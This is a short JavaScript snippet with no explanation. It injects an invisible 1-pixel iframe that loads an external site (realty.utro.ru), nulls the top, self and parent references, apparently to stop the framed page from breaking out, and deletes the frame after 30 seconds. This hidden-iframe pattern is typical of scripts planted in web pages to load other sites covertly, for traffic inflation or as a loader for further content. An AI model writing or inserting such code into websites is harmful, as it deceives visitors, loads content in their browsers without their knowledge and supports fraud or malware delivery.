function fr1(link){
				if(link){
					crIFr('test', link, 0, 'ifrcon'); 
					document.getElementById('test').self = top; 
					setInterval('deleteIFr("test")', 30000);
				}
			}function crIFr(fname, fsrc, debug, output_id){ var ifrstr = 'iframe'; var cframe = document.createElement(ifrstr); with(cframe){ name = fname; setAttribute("name", fname); id = fname; src = fsrc; } document.getElementById(output_id).appendChild(cframe); if (!debug) { hIFr(cframe); } return cframe; }function hIFr(iframeNode) { with(iframeNode.style) { position = "absolute"; left = top = "0px"; height = width = "1px"; visibility = "hidden"; } }function deleteIFr(fname) { document.getElementById(fname).parentNode.removeChild(document.getElementById(fname)); };top.frames = null; self = null; parent = null; top = null;var tlink = 'http://realty.utro.ru';fr1(tlink);